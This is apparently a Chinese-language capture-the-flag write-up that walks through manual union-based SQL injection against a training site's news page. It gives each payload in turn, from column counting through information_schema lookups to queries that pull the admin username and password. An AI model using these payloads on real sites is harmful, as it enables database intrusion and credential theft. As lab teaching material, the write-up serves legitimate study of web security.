题目提示很明显,就是sql注入拿到管理员密码
点击传送门进入看到的是一个很简陋的猫舍页面
域名简单,没看到注入点http://59.63.200.79:8003/
点击新闻页面看看
域名后面加上了id=1,说明存在着数据库的交互
那么这里就很有可能是注入点
把这个作为我们的目标urlhttp://59.63.200.79:8003/?id=1
进入手工注入步骤
构造and 1=1,这个语句是恒成立的,一般页面都是不报错的
再来试试1=2
出错,初步说明存在着注入漏洞
在这里会使用到order by()函数,它会根据后面的参数来改变排序顺序,比如数据库里有多个列,根据选取的列明,id,name,来排序
构造?id=1 and 1=1 order by 1 页面没有变化(order by 1表示根据第一列来排序,一般也是如此默认升序的)
再来依次构造order by 2 / order by 3
由MySQL的语法有,order by后面的数据超过列数后将会报错,因此用种方法来判断一共有几个字段
当进行到order by 3 后,页面显示错误,因此判断一共只有两个字段
回显点就是在页面中能显示数据库信息的板块,比如有的网页中“浏览次数”“发布时间”等,都反应的是数据库中的数据
于是我们使用联合查询
我们同时查询这两个数据
但要注意的是,在MySQL语句中,页面一次只能显示一行查询的内容,而且是线差后显示,于是我们需要让前面的语句?id=1 and 1=1这句话失效,从而显示union select 1,2的内容
因此我们让前一个命令报错无法显示,即构造?id=1 and 1=2,后面照常union select 1,2
这样就完全没用
必须构造1=2
找到了回显点2
已知2为回显点,我们只需要在联合查询时将2替代为我们想要查询到部位名称即可
可以查询当前的数据库名,将2替换为database()
构造id=1 and 1=2 union select 1,database()
数据库名为maoshe
查询当前数据库 表名
构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1 回车
limit 0,1的意思是从0开始,查询第1个数据
查询到的数据库名为admin
查询limit 1,1看看,数据库名这样
2,1这样
3,1这样
4,1就空白了,说明一共就四张表
一般关于管理员的信息都在admin表中
查询admin表的列名
构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
第一列是id
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1
第二列是username
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1
第三列是password
该有的信息都找到了,直接查询就行了
构造 ?id=1 and 1=2 union select 1,username from admin limit 0,1 查询登陆用户名
构造 ?id=1 and 1=2 union select 1,password from admin limit 0,1查询密码